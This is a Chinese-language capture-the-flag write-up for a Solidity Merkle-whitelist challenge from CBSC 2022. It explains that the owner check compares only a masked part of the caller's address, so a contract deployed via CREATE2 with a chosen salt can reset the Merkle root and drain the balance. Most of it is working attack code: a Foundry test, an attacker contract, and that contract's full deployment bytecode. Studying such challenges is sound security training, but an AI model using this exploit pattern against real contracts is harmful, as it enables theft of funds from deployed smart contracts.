03.challenge
2023-07-27 19:31:54 # 16.CBSC 2022

03.challenge

分析

1.大局观

两个代码:

  • MerkleProof:merkle树的验证方法
  • Merkle
    • 一开始拥有1ether,如果用户位于merkle树的白名单里面则可以一次去完1ether
    • 可修改root,但是有条件

2.任务

将合约中的余额归零

1
2
3
function Complete() external {
require(address(this).balance == 0);
}

3.详细分析

只要我们位于白名单中就可以取完所有钱,但是我们不位于白名单

1
2
3
4
5
6
7
function withdraw(bytes32[] memory proof,address to) public returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(proof, merkleRoot, leaf), "Merkle Proof Verification failed");
uint balance = address(this).balance;
// 这里的amount没啥用,因为balnace一定是大于amount的,将本合约中的所有钱给到to地址
payable(to).transfer(min(amount,balance));
}

有个方法可以修改root,但是又onlyOwner修饰

1
2
3
function setMerkleroot(bytes32 _merkleroot) external onlyOwner { 
merkleRoot = _merkleroot;
}

只要调用者地址的第一个高字节和owner一样即可,那么用CREATE2

1
2
3
4
modifier onlyOwner() {
require(mask & bytes20(msg.sender) == mask & bytes20(owner));
_;
}

用攻击合约来解题(用CREATE2生成),修改root,然后就可以调用withdraw()取钱

解题

test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "../../src/03.challenge/Merkle.sol";
import "./attacker.sol";

contract attackTest is Test{
Merkle merkle;
// cast keccak 'bytecode'
bytes32 bytecodeHash = 0x37a91fae53b9e4048c07a4cc8f040a3f5824539c74f18f400380edd62c7debdc;
// 用remix获取attacker.sol的bytecode
bytes bytecode = hex"608060405234801561001057600080fd5b50610813806100206000396000f3fe6080604052600436106100435760003560e01c806319ab453c146100465780632813139a1461006f57806361ce5e66146100795780636b6d34341461009057610044565b5b005b34801561005257600080fd5b5061006d6004803603810190610068919061048b565b6100a7565b005b6100776100f2565b005b34801561008557600080fd5b5061008e610181565b005b34801561009c57600080fd5b506100a56102b9565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506100ef6102b9565b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c4396001546040518263ffffffff1660e01b815260040161014d91906104d1565b600060405180830381600087803b15801561016757600080fd5b505af115801561017b573d6000803e3d6000fd5b50505050565b6000600267ffffffffffffffff81111561019e5761019d6104ec565b5b6040519080825280602002602001820160405280156101cc5781602001602082028036833780820191505090505b5090506000801b816000815181106101e7576101e661051b565b5b6020026020010181815250506000801b8160018151811061020b5761020a61051b565b5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b8152600401610272929190610617565b6020604051808303816000875af1158015610291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102b5919061067f565b5050565b6000600267ffffffffffffffff8111156102d6576102d56104ec565b5b6040519080825280602002602001820160405280156103045781602001602082028036833780820191505090505b5090506000801b8160008151811061031f5761031e61051b565b5b6020026020010181815250506000801b816001815181106103435761034261051b565b5b60200260200101818152505060003060405160200161036291906106f4565b60405160208183030381529060405280519060200120905060005b825181101561041c57600083828151811061039b5761039a61051b565b5b602002602001015190508083116103dc5782816040516020016103bf929190610730565b604051602081830303815290604052805190602001209250610408565b80836040516020016103ef929190610730565b6040516020818303038152906040528051906020012092505b50808061041490610795565b91505061037d565b50806001819055505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006104588261042d565b9050919050565b6104688161044d565b811461047357600080fd5b50565b6000813590506104858161045f565b92915050565b6000602082840312156104a1576104a0610428565b5b60006104af84828501610476565b91505092915050565b6000819050919050565b6104cb816104b8565b82525050565b60006020820190506104e660008301846104c2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61057f816104b8565b82525050565b60006105918383610576565b60208301905092915050565b6000602082019050919050565b60006105b58261054a565b6105bf8185610555565b93506105ca83610566565b8060005b838110156105fb5781516105e28882610585565b97506105ed8361059d565b9250506001810190506105ce565b5085935050505092915050565b6106118161044d565b82525050565b6000604082019050818103600083015261063181856105aa565b90506106406020830184610608565b9392505050565b60008115159050919050565b61065c81610647565b811461066757600080fd5b50565b60008151905061067981610653565b92915050565b60006020828403121561069557610694610428565b5b60006106a38482850161066a565b91505092915050565b60008160601b9050919050565b60006106c4826106ac565b9050919050565b60006106d6826106b9565b9050919050565b6106ee6106e98261044d565b6106cb565b82525050565b600061070082846106dd565b60148201915081905092915050565b6000819050919050565b61072a610725826104b8565b61070f565b82525050565b600061073c8285610719565b60208201915061074c8284610719565b6020820191508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b60006107a08261078b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036107d2576107d161075c565b5b60018201905091905056fea26469706673582212206cb3c7ca447ae9e793f89ed957e69da3781e83859f2d8a6c29d8b9ac301ccf0264736f6c634300080d0033";

function setUp() public{
// 随便搞个题目复现
// 注意,这里进行调用的msg.sender是此合约的地址0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496,
// 而不是msg.sender0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38
// 因此merkle的owner初始化为0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
merkle = new Merkle{value: 1 ether}(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}

function test_isComplete() public {
// 用户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4来进行攻击
vm.startPrank(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);

console.log("[before]",merkle.balanceOf());

// 我们用脚本计算出来的salt
attacker attackerAddress = attacker(payable(deploy(0x0000000000000000000000000000000000000000000000000000000000000349)));
attackerAddress.init(address(merkle));
attackerAddress.step01_setRoot();
attackerAddress.step02_attack();

merkle.Complete();

console.log("[after]",merkle.balanceOf());

vm.stopPrank();
}

function deploy(bytes32 salt) public returns(address) {
address addr;
bytes memory _bytecode = bytecode;
assembly {
addr := create2(0, add(_bytecode, 0x20), mload(_bytecode), salt)
}
return addr;
}
}

attacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pragma solidity 0.8.13;

contract attacker{

IMerkle merk;
bytes32 root;

function init(address _addr)public{
merk = IMerkle(_addr);
calculateRoot();
}

function step01_setRoot()public payable{
merk.setMerkleroot(root);
}

function step02_attack()public {
bytes32[] memory proof = new bytes32[](2);
proof[0] = 0x0000000000000000000000000000000000000000000000000000000000000000;
proof[1] = 0x0000000000000000000000000000000000000000000000000000000000000000;
merk.withdraw(proof, address(this));
}

function calculateRoot() public{
bytes32[] memory proof = new bytes32[](2);
proof[0] = 0x0000000000000000000000000000000000000000000000000000000000000000;
proof[1] = 0x0000000000000000000000000000000000000000000000000000000000000000;

bytes32 computedHash = keccak256(abi.encodePacked(address(this)));
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
root = computedHash;
}

fallback() external payable{}
}

interface IMerkle{
function withdraw(bytes32[] memory,address) external returns(bool);
function setMerkleroot(bytes32) external ;
}